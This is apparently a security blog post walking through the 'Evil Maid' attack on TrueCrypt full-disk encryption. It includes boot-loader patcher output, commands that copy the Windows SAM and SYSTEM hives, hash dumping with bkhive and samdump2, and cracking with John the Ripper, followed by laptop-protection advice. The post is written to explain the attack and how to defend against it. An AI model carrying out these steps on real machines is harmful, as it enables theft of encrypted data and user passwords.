In part I of this story I wrote on how someone with physical access to a system could easily steal all kinds of sensitive data like passwords, plans for corporate takeover, trade secrets, tax information or family photos which the owners would not want to be disclosed. This would be accomplished in a stealthy manner. This could also happen if a laptop is lost or stolen of course in this way the owner would notice and could respond to the incident .
Nonetheless, one way to address this problem is to encrypt the hard drive. In this case even if the laptop is stolen, lost or rebooted using a USB stick to bypass security the files will be unreadable. However, while this is a valuable countermeasure against lost or theft of data it will not defend against sophisticated and motivated attackers. Back in 2009, Joanna Rutkowska – a brilliant security researcher – implemented the Evil Maid attack against a system with full disk encryption using TrueCrypt.
The concept is similar as in the previous article:
- Justin Case prepares a bootable USB stick with evilmaidusb-1.01.img image.
- Justin Case sneaks into Ivan Idea room and boot the laptop with the bootable USB stick.
- After 1 or 2 minutes the laptop would check if the system is running TrueCrypt Boot Loader is running [v 6.0a and 6.2a].
- Using the command prompt Justin Case can infect the Boot Loader with an infected version.
- The computers is turned off and he leaves the room
- Ivan Idea gets back to his is room and inserts his password during the boot process to work a little bit and then leaves the room again.
- Justin Case goes back into the room. It boots the laptop again with the USB stick and the password is revealed. Now he has the key to decrypt the hard drive, he can steal data.
- Now with the password, Justin Case boots the system with Backtrack and mounts the encrypted volume with TrueCrypt utility and then dumps the hashes and cracks the passwords.
Lets look into each one of these steps.
The following illustrate the bootable USB stick and the usage of the TrueCrypt Evil Maid Patch v0.1
SYSLINUX 3.75 2009-04-16 EBIOS Copyright (C) 1994-2009 Booting the kernel. it will take up to a minute... Mounting proc filesystem Mouting sysfs filesystem Creating /dev Creating initial device nodes Setting up hotplug Loadling /lib/kbd/keymaps/i386/querty/us.map Creating block device nodes. Creating character device nodes. Making device-mapper control node Waiting for the USB stick to initi... Waiting for the USB stick to initi... Waiting for the USB stick to initi... sd 4:0:0:0: [sdb] Assuming drive cache: write trough sd 4:0:0:0: [sdb] Assuming drive cache: write trough sd 4:0:0:0: [sdb] Attached SCSI removable disk Mount command: mount -r -t vfat /dev/sdb1 mnt/stick TARGET = /dev/sda What do you want to do today: Run [E]vil Mail, [S]hell, [R]eboot E remouting /mnt/stick rw... TrueCrypt EvilMaid patcher v0.1 -------------------------------- TrueCrypt Boot Loader detected PatchTrueCrypt(): Compressed loader size: 11641 bytes PatchTrueCrypt(): Loader memory size: 0x6C00 (27648) bytes PatchTrueCrypt(): Decompressing the boot loader PatchTrueCrypt(): Decompression successful PatchTrueCrypt(): Decompressed loader physical size: 18790 bytes PatchAskPassword(): AskPassword() located at offset 0x1B24 PatchTrueCrypt(): Compressing the patched loader PatchTrueCrypt(): Compression successful PatchTrueCrypt(): Compressed patched loader size: 11753 bytes PatchTrueCrypt(): New checksum: 0xD88FD56F saving original sectors in /mnt/stick/sectors-2013-10-15-221453 remouting /mnt/stick in ro... done; you can reboot safely. What do you want to do today: Run [E]vil Mail, [S]hell, [R]eboot R
After this the TrueCrypt Boot Loader is infected and will capture the password next time the password is introduced. Then one could boot the system again with the USB stick to reveal the password:
SYSLINUX 3.75 2009-04-16 EBIOS Copyright (C) 1994-2009 Booting the kernel. it will take up to a minute... Mounting proc filesystem Mouting sysfs filesystem Creating /dev Creating initial device nodes Setting up hotplug Loadling /lib/kbd/keymaps/i386/querty/us.map Creating block device nodes. Creating character device nodes. Making device-mapper control node Waiting for the USB stick to initi... Waiting for the USB stick to initi... Waiting for the USB stick to initi... sd 4:0:0:0: [sdb] Assuming drive cache: write trough sd 4:0:0:0: [sdb] Assuming drive cache: write trough sd 4:0:0:0: [sdb] Attached SCSI removable disk Mount command: mount -r -t vfat /dev/sdb1 mnt/stick TARGET = /dev/sda What do you want to do today: Run [E]vil Mail, [S]hell, [R]eboot E remouting /mnt/stick rw... TrueCrypt EvilMaid patcher v0.1 -------------------------------- TrueCrypt Boot Loader detected PatchTrueCrypt(): Compressed loader size: 11753 bytes PatchTrueCrypt(): Loader memory size: 0x6C00 (28672) bytes PatchTrueCrypt(): Decompressing the boot loader PatchTrueCrypt(): Decompression successful PatchTrueCrypt(): Decompressed loader physical size: 27687 bytes PatchAskPassword(): Loader is already infected PatchTrueCrypt(): PatchAskPassword() failed DisplayTrueCryptPassword(): Password is "encrypt" saving original sectors in /mnt/stick/sectors-2013-10-15-221802 remouting /mnt/stick in ro... done; you can reboot safely. What do you want to do today: Run [E]vil Mail, [S]hell, [R]eboot
Now that Justin Case has the password he can boot a Linux Live CD like Backtrack, install TrueCrypt and then mount the TrueCrypt volume to steal the SAM database and SYSTEM registry file which contains the SYSKEY:
root@root:~# tar -xzvf truecrypt-7.1a-linux-x86.tar.gz root@root:~# ./truecrypt-7.1a-setup-x86 root@root:~# fdisk -l Disk /dev/sda: 160.0 GB, 160041885696 bytes 255 heads, 63 sectors/track, 19457 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x0000cbec Device Boot Start End Blocks Id System /dev/sda1 * 1 13 102400 7 HPFS/NTFS Partition 1 does not end on cylinder boundary. /dev/sda2 13 18995 152473600 7 HPFS/NTFS root@root:~# truecrypt --text --mount-options=system /dev/sda2 /mnt/ Enter password for /dev/sda2: Enter keyfile [none]: none Protect hidden volume (if any)? (y=Yes/n=No) [No]: N root@root:~# truecrypt --text -l -v Slot: 1 Volume: /dev/sda2 Virtual Device: /dev/mapper/truecrypt1 Mount Directory: /mnt Size: 145 GB Type: Normal Read-Only: No Hidden Volume Protected: No Encryption Algorithm: AES Primary Key Size: 256 bits Secondary Key Size (XTS Mode): 256 bits Block Size: 128 bits Mode of Operation: XTS PKCS-5 PRF: HMAC-RIPEMD-160 Volume Format Version: 1 Embedded Backup Header: No root@root:~# ls /mnt/ autoexec.bat Documents and Settings pagefile.sys ProgramData Recovery System Volume Information Windows config.sys hiberfil.sys PerfLogs Program Files $Recycle.Bin Users root@root:~# cp /mnt/Windows/System32/config/SAM /media/USB root@root:~# cp /mnt/Windows/System32/config/SYSTEM /media/USB
With the SAM database and SYSKEY we could use the attack mention on the previous article. Another way, eventually one could go further and dump the NT hashes. Because there is direct access to the SAM database and SYSTEM registry file we could run the bkhive tool for linux which recovers the Syskey bootkey from system hive file and then samdump2 for linux who dumps Windows password hashes. Both tools were originally made by Nicola Cuomo. Finally, we use John the Ripper to crack the passwords using a dictionary attack.
root@root:~# bkhive /mnt/Windows/System32/config/SYSTEM syskey-output
bkhive 1.1.1 by Objectif Securite http://www.objectif-securite.ch original author: ncuomo@studenti.unina.it Root Key : CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144} Default ControlSet: 001 Bootkey: 3ea5580bee2fa204f9b5110e47d200f7 root@root:~# samdump2 /mnt/Windows/System32/config/SAM syskey-output > ACME-NT-Hashes samdump2 1.1.1 by Objectif Securite http://www.objectif-securite.ch original author: ncuomo@studenti.unina.it Root Key : CMI-CreateHive{899121E8-11D8-44B6-ACEB-301713D5ED8C} root@root:~# cat ACME-NT-Hashes Administrator:500:aad3b435b51404eeaad3b435b51404ee:dd21163c6ab4dff1517f0ba7464a511d::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Ivan.Idea:1000:aad3b435b51404eeaad3b435b51404ee:c0d303c74587269c9557c706365ba8f0::: Dee.Plomassy:1001:aad3b435b51404eeaad3b435b51404ee:250cfeaa42d97f8ea0d30400e8016d29::: Herman.Nootix:1002:aad3b435b51404eeaad3b435b51404ee:09238831b1af5edab93c773f56409d96::: Polly.Tix:1003:aad3b435b51404eeaad3b435b51404ee:1f255ea9557f52407f4290c904447f1a::: root@root:/pentest/passwords/john# ./john ~/ACME-NT-Hashes --format=NT --wordlist=big-dictionary.lst Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32]) bigideas (Ivan.Idea) StR0ngP4ss (Dee.Plomassy) LovePolitics (Polly.Tix) P4$$w0rd (Herman.Nootix) root@root:~# truecrypt --text -d /mnt/ root@root:~# shutdown -d now
When using a laptop or other mobile device regardless of being used inside the organization or outside for business use, protection mechanisms and strategies should be enforced in order to maintain its confidentiality, integrity and availability. “No laptop should contain sensitive information on the hard drive or the hard drive should be removed and carried separately from the machine. It is estimated that on in four laptops will be stolen, so this is a very real threat. Let the machine go but make sure there is no company information going with it” [1]. However this might not be practical to your environment or business requirements one could consider – apart of the already mentioned and among others – the following countermeasures for Laptops [2]:
- Use a cable lock during travel. They deter the casual theft. Lock it whenever you have to leave it unattended.
- Do not leave your laptop unattended.
- Use strong passwords. The stronger the password the less likely it will be for someone guess it or crack it.
- Encrypt your data. Could be expensive but it should be considered if the value of the corporate or personal data information outweighs the costs of encrypting it.
- Lo-Jack for Laptops. It will help to recover your laptop in case of theft. After being stolen or lost, if the laptop is connected to the internet, the tracking software will locate the laptop and notify law enforcement.
References:
[1] M. Desman. Building an Information Security Awareness Program (Auerbach Publications, 2001)
[2] Official (ISC)2 Guide to ISSAP CBK (Auerbach Publications, 2011)
Further Reading:
Evil Maid” Attacks on Encrypted Hard Drives
Evil Maid goes after TrueCrypt!
Lest We Remember: Cold Boot Attacks on Encryption Keys
Research on cold boot attacks from Princeton University
Attacking the BitLocker Boot Process∗
Quickpost: Disassociating the Key From a TrueCrypt System Disk
SYSKEY
Count Upon Security 